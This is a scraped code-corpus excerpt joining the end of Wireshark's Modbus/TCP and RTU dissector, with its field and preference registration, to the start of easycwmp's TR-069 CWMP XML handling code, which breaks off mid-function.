byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start + 8);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start + 8, 1,
byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 9, byte_cnt, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1,
byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 1, byte_cnt, register_format);
}
break;
case READ_FIFO_QUEUE:
if (packet_type == QUERY_PACKET)
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
else if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_ntohs(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_lbytecnt, tvb, payload_start, 2,
byte_cnt);
proto_tree_add_item(modbus_tree, hf_modbus_wordcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 4, byte_cnt - 2, register_format);
}
break;
case ENCAP_INTERFACE_TRANSP:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_mei, tvb, payload_start, 1, ENC_BIG_ENDIAN);
mei_code = tvb_get_guint8(tvb, payload_start);
switch (mei_code)
{
case READ_DEVICE_ID:
proto_tree_add_item(modbus_tree, hf_modbus_read_device_id, tvb, payload_start+1, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_object_id, tvb, payload_start+2, 1, ENC_BIG_ENDIAN);
break;
case CANOPEN_REQ_RESP:
/* CANopen protocol not part of the Modbus/TCP specification */
default:
if (payload_len > 1)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start, payload_len-1, register_format);
break;
}
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_mei, tvb, payload_start, 1, ENC_BIG_ENDIAN);
mei_code = tvb_get_guint8(tvb, payload_start);
switch (mei_code)
{
case READ_DEVICE_ID:
proto_tree_add_item(modbus_tree, hf_modbus_read_device_id, tvb, payload_start+1, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_conformity_level, tvb, payload_start+2, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_more_follows, tvb, payload_start+3, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_next_object_id, tvb, payload_start+4, 1, ENC_BIG_ENDIAN);
num_objects = tvb_get_guint8(tvb, payload_start+5);
proto_tree_add_uint(modbus_tree, hf_modbus_num_objects, tvb, payload_start+5, 1, num_objects);
device_objects_tree = proto_tree_add_subtree(modbus_tree, tvb, payload_start+6, payload_len-6,
ett_device_id_objects, NULL, "Objects");
object_index = 0;
for (ii = 0; ii < num_objects; ii++)
{
/* add each "object item" as its own subtree */
/* compute length of object */
object_type = tvb_get_guint8(tvb, payload_start+6+object_index);
object_len = tvb_get_guint8(tvb, payload_start+6+object_index+1);
device_objects_item_tree = proto_tree_add_subtree_format(device_objects_tree, tvb, payload_start+6+object_index, 2+object_len,
ett_device_id_object_items, NULL, "Object #%d", ii+1);
proto_tree_add_item(device_objects_item_tree, hf_modbus_object_id, tvb, payload_start+6+object_index, 1, ENC_BIG_ENDIAN);
object_index++;
proto_tree_add_uint(device_objects_item_tree, hf_modbus_list_object_len, tvb, payload_start+6+object_index, 1, object_len);
object_index++;
if (object_type < 7)
{
proto_tree_add_item(device_objects_item_tree, hf_modbus_object_str_value, tvb, payload_start+6+object_index, object_len, ENC_ASCII|ENC_NA);
}
else
{
if (object_len > 0)
proto_tree_add_item(device_objects_item_tree, hf_modbus_object_value, tvb, payload_start+6+object_index, object_len, ENC_NA);
}
object_index += object_len;
}
break;
case CANOPEN_REQ_RESP:
/* CANopen protocol not part of the Modbus/TCP specification */
default:
if (payload_len > 1)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start, payload_len-1, register_format);
break;
}
}
break;
case REPORT_SLAVE_ID:
default:
if (payload_len > 0)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start, payload_len, register_format);
break;
}
}
return tvb_length(tvb);
}
/* Register the protocol with Wireshark */
void
proto_register_modbus(void)
{
/* Modbus/TCP header fields */
static hf_register_info mbtcp_hf[] = {
{ &hf_mbtcp_transid,
{ "Transaction Identifier", "mbtcp.trans_id",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_mbtcp_protid,
{ "Protocol Identifier", "mbtcp.prot_id",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_mbtcp_len,
{ "Length", "mbtcp.len",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_mbtcp_unitid,
{ "Unit Identifier", "mbtcp.unit_id",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
};
static hf_register_info mbrtu_hf[] = {
{ &hf_mbrtu_unitid,
{ "Unit ID", "mbrtu.unit_id",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_mbrtu_crc16,
{ "CRC-16", "mbrtu.crc16",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
};
static ei_register_info mbrtu_ei[] = {
{ &ei_mbrtu_crc16_incorrect,
{ "mbrtu.crc16.incorrect", PI_CHECKSUM, PI_WARN,
"Incorrect CRC", EXPFILL }
},
};
static hf_register_info hf[] = {
/* Modbus header fields */
{ &hf_mbtcp_functioncode,
{ "Function Code", "modbus.func_code",
FT_UINT8, BASE_DEC, VALS(function_code_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_reference,
{ "Reference Number", "modbus.reference_num",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_padding,
{ "Padding", "modbus.padding",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_lreference,
{ "Reference Number (32 bit)", "modbus.reference_num_32",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_reftype,
{ "Reference Type", "modbus.reference_type",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_readref,
{ "Read Reference Number", "modbus.read_reference_num",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_writeref,
{ "Write Reference Number", "modbus.write_reference_num",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_wordcnt,
{ "Word Count", "modbus.word_cnt",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_readwordcnt,
{ "Read Word Count", "modbus.read_word_cnt",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_writewordcnt,
{ "Write Word Count", "modbus.write_word_cnt",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_bitcnt,
{ "Bit Count", "modbus.bit_cnt",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_bytecnt,
{ "Byte Count", "modbus.byte_cnt",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_lbytecnt,
{ "Byte Count (16-bit)", "modbus.byte_cnt_16",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_exceptioncode,
{ "Exception Code", "modbus.exception_code",
FT_UINT8, BASE_DEC, VALS(exception_code_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_sf,
{ "Diagnostic Code", "modbus.diagnostic_code",
FT_UINT16, BASE_DEC, VALS(diagnostic_code_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_query_data_request,
{ "Request Data", "modbus.diagnostic.return_query_data.request",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_query_data_echo,
{ "Echo Data", "modbus.diagnostic.return_query_data.echo",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_restart_communication_option,
{ "Restart Communication Option", "modbus.diagnostic.restart_communication_option",
FT_UINT16, BASE_HEX, VALS(diagnostic_restart_communication_option_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_diag_register,
{ "Diagnostic Register Contents", "modbus.diagnostic.return_diag_register",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_ascii_input_delimiter,
{ "CHAR", "modbus.diagnostic.ascii_input_delimiter",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_bus_message_count,
{ "Total Message Count", "modbus.diagnostic.bus_message_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_bus_comm_error_count,
{ "CRC Error Count", "modbus.diagnostic.bus_comm_error_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_bus_exception_error_count,
{ "Exception Error Count", "modbus.diagnostic.bus_exception_error_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_slave_message_count,
{ "Slave Message Count", "modbus.diagnostic.slave_message_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_no_slave_response_count,
{ "Slave No Response Count", "modbus.diagnostic.no_slave_response_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_slave_nak_count,
{ "Slave NAK Count", "modbus.diagnostic.slave_nak_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_slave_busy_count,
{ "Slave Device Busy Count", "modbus.diagnostic.slave_busy_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_diag_return_bus_char_overrun_count,
{ "Slave Character Overrun Count", "modbus.diagnostic.bus_char_overrun_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_status,
{ "Status", "modbus.ev_status",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_event,
{ "Event", "modbus.event",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_event_count,
{ "Event Count", "modbus.ev_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_message_count,
{ "Message Count", "modbus.ev_msg_count",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_event_recv_comm_err,
{ "Communication Error", "modbus.ev_recv_comm_err",
FT_UINT8, BASE_DEC, NULL, 0x02,
NULL, HFILL }
},
{ &hf_modbus_event_recv_char_over,
{ "Character Overrun", "modbus.ev_recv_char_over",
FT_UINT8, BASE_DEC, NULL, 0x10,
NULL, HFILL }
},
{ &hf_modbus_event_recv_lo_mode,
{ "Currently in Listen Only Mode", "modbus.ev_recv_lo_mode",
FT_UINT8, BASE_DEC, NULL, 0x20,
NULL, HFILL }
},
{ &hf_modbus_event_recv_broadcast,
{ "Broadcast Received", "modbus.ev_recv_broadcast",
FT_UINT8, BASE_DEC, NULL, 0x40,
NULL, HFILL }
},
{ &hf_modbus_event_send_read_ex,
{ "Read Exception Sent", "modbus.ev_send_read_ex",
FT_UINT8, BASE_DEC, NULL, 0x01,
NULL, HFILL }
},
{ &hf_modbus_event_send_slave_abort_ex,
{ "Slave Abort Exception Sent", "modbus.ev_send_slave_abort_ex",
FT_UINT8, BASE_DEC, NULL, 0x02,
NULL, HFILL }
},
{ &hf_modbus_event_send_slave_busy_ex,
{ "Slave Busy Exception Sent", "modbus.ev_send_slave_busy_ex",
FT_UINT8, BASE_DEC, NULL, 0x04,
NULL, HFILL }
},
{ &hf_modbus_event_send_slave_nak_ex,
{ "Slave Program NAK Exception Sent", "modbus.ev_send_slave_nak_ex",
FT_UINT8, BASE_DEC, NULL, 0x08,
NULL, HFILL }
},
{ &hf_modbus_event_send_write_timeout,
{ "Write Timeout Error Occurred", "modbus.ev_send_write_timeout",
FT_UINT8, BASE_DEC, NULL, 0x10,
NULL, HFILL }
},
{ &hf_modbus_event_send_lo_mode,
{ "Currently in Listen Only Mode", "modbus.ev_send_lo_mode",
FT_UINT8, BASE_DEC, NULL, 0x20,
NULL, HFILL }
},
{ &hf_modbus_andmask,
{ "AND mask", "modbus.and_mask",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_ormask,
{ "OR mask", "modbus.or_mask",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_data,
{ "Data", "modbus.data",
FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL }
},
{ &hf_modbus_mei,
{ "MEI type", "modbus.mei",
FT_UINT8, BASE_DEC, VALS(encap_interface_code_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_read_device_id,
{ "Read Device ID", "modbus.read_device_id",
FT_UINT8, BASE_DEC, VALS(read_device_id_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_object_id,
{ "Object ID", "modbus.object_id",
FT_UINT8, BASE_DEC, VALS(object_id_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_num_objects,
{ "Number of Objects", "modbus.num_objects",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_list_object_len,
{ "Object length", "modbus.objects_len",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_conformity_level,
{ "Conformity Level", "modbus.conformity_level",
FT_UINT8, BASE_HEX, VALS(conformity_level_vals), 0x0,
NULL, HFILL }
},
{ &hf_modbus_more_follows,
{ "More Follows", "modbus.more_follows",
FT_UINT8, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_next_object_id,
{ "Next Object ID", "modbus.next_object_id",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_object_str_value,
{ "Object String Value", "modbus.object_str_value",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_object_value,
{ "Object Value", "modbus.object_value",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_reg_uint16,
{ "Register (UINT16)", "modbus.register.uint16",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_reg_uint32,
{ "Register (UINT32)", "modbus.register.uint32",
FT_UINT32, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_reg_ieee_float,
{ "Register (IEEE Float)", "modbus.register.ieee_float",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_modbus_reg_modicon_float,
{ "Register (Modicon Float)", "modbus.register.modicon_float",
FT_FLOAT, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
};
/* Setup protocol subtree array */
static gint *ett[] = {
&ett_mbtcp,
&ett_mbrtu,
&ett_modbus_hdr,
&ett_group_hdr,
&ett_events,
&ett_events_recv,
&ett_events_send,
&ett_device_id_objects,
&ett_device_id_object_items
};
static ei_register_info ei[] = {
{ &ei_modbus_data_decode,
{ "modbus.data.decode", PI_PROTOCOL, PI_WARN,
"Invalid decoding options, register data not a multiple of 4!", EXPFILL }
},
};
module_t *mbtcp_module;
module_t *mbrtu_module;
expert_module_t* expert_mbrtu;
expert_module_t* expert_modbus;
/* Register the protocol name and description */
proto_mbtcp = proto_register_protocol("Modbus/TCP", "Modbus/TCP", "mbtcp");
proto_mbrtu = proto_register_protocol("Modbus RTU", "Modbus RTU", "mbrtu");
proto_modbus = proto_register_protocol("Modbus", "Modbus", "modbus");
/* Registering protocol to be called by another dissector */
modbus_handle = new_register_dissector("modbus", dissect_modbus, proto_modbus);
mbtcp_handle = new_register_dissector("mbtcp", dissect_mbtcp, proto_mbtcp);
mbrtu_handle = new_register_dissector("mbrtu", dissect_mbrtu, proto_mbrtu);
/* Registering subdissectors table */
modbus_data_dissector_table = register_dissector_table("modbus.data", "Modbus Data", FT_STRING, BASE_NONE);
modbus_dissector_table = register_dissector_table("mbtcp.prot_id", "Modbus/TCP protocol identifier", FT_UINT16, BASE_DEC);
/* Required function calls to register the header fields and subtrees used */
proto_register_field_array(proto_mbtcp, mbtcp_hf, array_length(mbtcp_hf));
proto_register_field_array(proto_mbrtu, mbrtu_hf, array_length(mbrtu_hf));
proto_register_field_array(proto_modbus, hf, array_length(hf));
proto_register_subtree_array(ett, array_length(ett));
expert_mbrtu = expert_register_protocol(proto_mbrtu);
expert_register_field_array(expert_mbrtu, mbrtu_ei, array_length(mbrtu_ei));
expert_modbus = expert_register_protocol(proto_modbus);
expert_register_field_array(expert_modbus, ei, array_length(ei));
/* Register required preferences for Modbus Protocol register decoding */
mbtcp_module = prefs_register_protocol(proto_mbtcp, proto_reg_handoff_mbtcp);
mbrtu_module = prefs_register_protocol(proto_mbrtu, proto_reg_handoff_mbrtu);
/* Modbus RTU Preference - Desegment, defaults to TRUE for TCP desegmentation */
prefs_register_bool_preference(mbtcp_module, "desegment",
"Desegment all Modbus RTU packets spanning multiple TCP segments",
"Whether the Modbus RTU dissector should desegment all messages spanning multiple TCP segments",
&mbtcp_desegment);
/* Modbus/TCP Preference - Default TCP Port, allows for "user" port either than 502. */
prefs_register_uint_preference(mbtcp_module, "tcp.port", "Modbus/TCP Port",
"Set the TCP port for Modbus/TCP packets (if other"
" than the default of 502)",
10, &global_mbus_tcp_port);
/* Modbus/TCP Preference - Holding/Input Register format, this allows for deeper dissection of response data */
prefs_register_enum_preference(mbtcp_module, "mbus_register_format",
"Holding/Input Register Format",
"Register Format",
&global_mbus_tcp_register_format,
mbus_register_format,
TRUE);
/* Modbus/TCP Preference - Register addressing format, this allows for a configurable display option to determine addressing used */
prefs_register_enum_preference(mbtcp_module, "mbus_register_addr_type",
"Register Addressing Type",
"Register Addressing Type (Raw, Modicon 5 or 6). This option has no effect on the underlying protocol, but changes the register address display format",
&global_mbus_tcp_register_addr_type,
mbus_register_addr_type,
TRUE);
/* Modbus RTU Preference - Desegment, defaults to TRUE for TCP desegmentation */
prefs_register_bool_preference(mbrtu_module, "desegment",
"Desegment all Modbus RTU packets spanning multiple TCP segments",
"Whether the Modbus RTU dissector should desegment all messages spanning multiple TCP segments",
&mbrtu_desegment);
/* Modbus RTU Preference - CRC verification, defaults to FALSE (not do verification)*/
prefs_register_bool_preference(mbrtu_module, "crc_verification",
"Validate CRC",
"Whether to validate the CRC",
&mbrtu_crc);
/* Modbus RTU Preference - Default TCP Port, defaults to zero, allows custom user port. */
prefs_register_uint_preference(mbrtu_module, "tcp.port", "Modbus RTU Port",
"Set the TCP port for encapsulated Modbus RTU packets",
10, &global_mbus_rtu_port);
/* Modbus RTU Preference - Holding/Input Register format, this allows for deeper dissection of response data */
prefs_register_enum_preference(mbrtu_module, "mbus_register_format",
"Holding/Input Register Format",
"Register Format",
&global_mbus_rtu_register_format,
mbus_register_format,
TRUE);
/* Modbus RTU Preference - Register addressing format, this allows for a configurable display option to determine addressing used */
prefs_register_enum_preference(mbrtu_module, "mbus_register_addr_type",
"Register Addressing Type",
"Register Addressing Type (Raw, Modicon 5 or 6). This option has no effect on the underlying protocol, but changes the register address display format",
&global_mbus_rtu_register_addr_type,
mbus_register_addr_type,
TRUE);
}
/* If this dissector uses sub-dissector registration add a registration routine.
This format is required because a script is used to find these routines and
create the code that calls these routines.
*/
void
proto_reg_handoff_mbtcp(void)
{
static unsigned int mbtcp_port;
/* Make sure to use Modbus/TCP Preferences field to determine default TCP port */
if(mbtcp_port != 0 && mbtcp_port != global_mbus_tcp_port){
dissector_delete_uint("tcp.port", mbtcp_port, mbtcp_handle);
}
if(global_mbus_tcp_port != 0 && mbtcp_port != global_mbus_tcp_port) {
dissector_add_uint("tcp.port", global_mbus_tcp_port, mbtcp_handle);
}
mbtcp_port = global_mbus_tcp_port;
dissector_add_uint("mbtcp.prot_id", MODBUS_PROTOCOL_ID, modbus_handle);
}
void
proto_reg_handoff_mbrtu(void)
{
static unsigned int mbrtu_port = 0;
/* Make sure to use Modbus RTU Preferences field to determine default TCP port */
if(mbrtu_port != 0 && mbrtu_port != global_mbus_rtu_port){
dissector_delete_uint("tcp.port", mbrtu_port, mbrtu_handle);
}
if(global_mbus_rtu_port != 0 && mbrtu_port != global_mbus_rtu_port) {
dissector_add_uint("tcp.port", global_mbus_rtu_port, mbrtu_handle);
}
mbrtu_port = global_mbus_rtu_port;
dissector_add_uint("mbtcp.prot_id", MODBUS_PROTOCOL_ID, modbus_handle);
dissector_add_uint("rtacser.data", RTACSER_PAYLOAD_MODBUS, modbus_handle);
}
/*
* Editor modelines
*
* Local Variables:
* c-basic-offset: 4
* tab-width: 8
* indent-tabs-mode: nil
* End:
*
* ex: set shiftwidth=4 tabstop=8 expandtab:
* :indentSize=4:tabSize=8:noTabs=true:
*/
|
weizhenwei/wireshark
|
epan/dissectors/packet-mbtcp.c
|
C
|
gpl-2.0
| 88,995
|
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* Copyright (C) 2012-2014 PIVA SOFTWARE (www.pivasoftware.com)
* Author: Mohamed Kallel <mohamed.kallel@pivasoftware.com>
* Author: Anis Ellouze <anis.ellouze@pivasoftware.com>
* Copyright (C) 2011-2012 Luka Perkov <freecwmp@lukaperkov.net>
* Copyright (C) 2012 Jonas Gorski <jogo@openwrt.org>
*/
#include <stdbool.h>
#include <libubox/uloop.h>
#include <microxml.h>
#include "xml.h"
#include "backup.h"
#include "config.h"
#include "cwmp.h"
#include "external.h"
#include "easycwmp.h"
#include "messages.h"
#include "time.h"
#include "json.h"
#include "log.h"
struct fault_code fault_array[]=
{
[FAULT_0] = {"0", "", ""},
[FAULT_9000] = {"9000", "Server", "Method not supported"},
[FAULT_9001] = {"9001", "Server", "Request denied"},
[FAULT_9002] = {"9002", "Server", "Internal error"},
[FAULT_9003] = {"9003", "Client", "Invalid arguments"},
[FAULT_9004] = {"9004", "Server", "Resources exceeded"},
[FAULT_9005] = {"9005", "Client", "Invalid parameter name"},
[FAULT_9006] = {"9006", "Client", "Invalid parameter type"},
[FAULT_9007] = {"9007", "Client", "Invalid parameter value"},
[FAULT_9008] = {"9008", "Client", "Attempt to set a non-writable parameter"},
[FAULT_9009] = {"9009", "Server", "Notification request rejected"},
[FAULT_9010] = {"9010", "Server", "Download failure"},
[FAULT_9011] = {"9011", "Server", "Upload failure"},
[FAULT_9012] = {"9012", "Server", "File transfer server authentication failure"},
[FAULT_9013] = {"9013", "Server", "Unsupported protocol for file transfer"},
[FAULT_9014] = {"9014", "Server", "Download failure: unable to join multicast group"},
[FAULT_9015] = {"9015", "Server", "Download failure: unable to contact file server"},
[FAULT_9016] = {"9016", "Server", "Download failure: unable to access file"},
[FAULT_9017] = {"9017", "Server", "Download failure: unable to complete download"},
[FAULT_9018] = {"9018", "Server", "Download failure: file corrupted"},
[FAULT_9019] = {"9019", "Server", "Download failure: file authentication failure"}
};
const static char *soap_env_url = "http://schemas.xmlsoap.org/soap/envelope/";
const static char *soap_enc_url = "http://schemas.xmlsoap.org/soap/encoding/";
const static char *xsd_url = "http://www.w3.org/2001/XMLSchema";
const static char *xsi_url = "http://www.w3.org/2001/XMLSchema-instance";
const static char *cwmp_urls[] = {
"urn:dslforum-org:cwmp-1-0",
"urn:dslforum-org:cwmp-1-1",
"urn:dslforum-org:cwmp-1-2",
NULL };
static struct cwmp_namespaces ns;
static int xml_handle_get_rpc_methods(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_set_parameter_values(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_get_parameter_values(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_get_parameter_names(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_set_parameter_attributes(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_download(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_factory_reset(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_reboot(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_get_parameter_attributes(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_schedule_inform(mxml_node_t *node,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_AddObject(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static int xml_handle_DeleteObject(mxml_node_t *body_in,
mxml_node_t *tree_in,
mxml_node_t *tree_out);
static void xml_do_inform(struct uloop_timeout *timeout);
const struct rpc_method rpc_methods[] = {
{ "GetRPCMethods", xml_handle_get_rpc_methods },
{ "SetParameterValues", xml_handle_set_parameter_values },
{ "GetParameterValues", xml_handle_get_parameter_values },
{ "GetParameterNames", xml_handle_get_parameter_names },
{ "GetParameterAttributes", xml_handle_get_parameter_attributes },
{ "SetParameterAttributes", xml_handle_set_parameter_attributes },
{ "AddObject", xml_handle_AddObject },
{ "DeleteObject", xml_handle_DeleteObject },
{ "Download", xml_handle_download },
{ "Reboot", xml_handle_reboot },
{ "FactoryReset", xml_handle_factory_reset },
{ "ScheduleInform", xml_handle_schedule_inform },
};
const char *xml_format_cb(mxml_node_t *node, int pos)
{
mxml_node_t *b = node;
static char space_format[20];
int i=0;
switch (pos) {
case MXML_WS_BEFORE_CLOSE:
if (node->child && node->child->type!=MXML_ELEMENT)
return ("");
case MXML_WS_BEFORE_OPEN:
while (b->parent != NULL) {
space_format[i] = ' ';
b=b->parent;
i++;
}
space_format[i] = '\0';
return (space_format);
case MXML_WS_AFTER_OPEN:
if (node->child && node->child->type!=MXML_ELEMENT)
return ("");
else
return ("\n");
case MXML_WS_AFTER_CLOSE:
return ("\n");
default:
return ("");
}
}
char *xml_get_value_with_whitespace(mxml_node_t *b)
{
mxml_node_t *y = b->parent;
char * value = calloc(1, sizeof(char));
do {
value = realloc(value, strlen(value) + strlen(b->value.text.string) + 2);
if (value[0] != '\0')
strcat(value, " ");
strcat(value, b->value.text.string);
} while ((b = mxmlWalkNext(b, y, MXML_DESCEND)) &&
(b->value.text.whitespace == true) &&
(b->type == MXML_TEXT && b->value.text.string));
return value;
}
void xml_exit(void)
{
FREE(ns.soap_env);
FREE(ns.soap_enc);
FREE(ns.xsd);
FREE(ns.xsi);
FREE(ns.cwmp);
}
int xml_check_duplicated_parameter(mxml_node_t *tree)
{
mxml_node_t *b, *n = tree;
while (n) {
if (n && n->type == MXML_TEXT &&
n->value.text.string &&
n->parent->type == MXML_ELEMENT &&
!strcmp(n->parent->value.element.name, "Name")) {
b = n;
while (b = mxmlWalkNext(b, tree, MXML_DESCEND)) {
if (b && b->type == MXML_TEXT &&
b->value.text.string &&
b->parent->type == MXML_ELEMENT &&
!strcmp(b->parent->value.element.name, "Name")) {
if (strcmp(b->value.text.string, n->value.text.string) == 0) return 1;
}
}
}
n = mxmlWalkNext(n, tree, MXML_DESCEND);
}
return 0;
}
static int xml_recreate_namespace(mxml_node_t *tree)
{
mxml_node_t *b = tree;
const char *cwmp_urn;
char *c;
int i;
do {
FREE(ns.soap_env);
FREE(ns.soap_enc);
FREE(ns.xsd);
FREE(ns.xsi);
FREE(ns.cwmp);
c = (char *) mxmlElementGetAttrName(b, soap_env_url);
if (!c)
continue;
if (*(c + 5) == ':') {
ns.soap_env = strdup((c + 6));
} else {
continue;
}
c = (char *) mxmlElementGetAttrName(b, soap_enc_url);
if (!c)
continue;
if (*(c + 5) == ':') {
ns.soap_enc = strdup((c + 6));
} else {
continue;
}
c = (char *) mxmlElementGetAttrName(b, xsd_url);
if (c && (*(c + 5) == ':')) {
ns.xsd = strdup((c + 6));
}
c = (char *) mxmlElementGetAttrName(b, xsi_url);
if (c && (*(c + 5) == ':')) {
ns.xsi = strdup((c + 6));
}
for (i = 0; cwmp_urls[i] != NULL; i++) {
cwmp_urn = cwmp_urls[i];
c = (char *) mxmlElementGetAttrName(b, cwmp_urn);
if (c && *(c + 5) == ':') {
ns.cwmp = strdup((c + 6));
break;
}
}
if (!ns.cwmp) return -1;
return 0;
} while (b = mxmlWalkNext(b, tree, MXML_DESCEND));
return -1;
}
static void xml_get_hold_request(mxml_node_t *tree)
{
mxml_node_t *b;
char *c;
cwmp->hold_requests = false;
if (asprintf(&c, "%s:%s", ns.cwmp, "NoMoreRequests") == -1)
return;
b = mxmlFindElement(tree, tree, c, NULL, NULL, MXML_DESCEND);
free(c);
if (b) {
b = mxmlWalkNext(b, tree, MXML_DESCEND_FIRST);
if(b->value.text.string)
cwmp->hold_requests = (atoi(b->value.text.string)) ? true : false;
}
if (asprintf(&c, "%s:%s", ns.cwmp, "HoldRequests") == -1)
return;
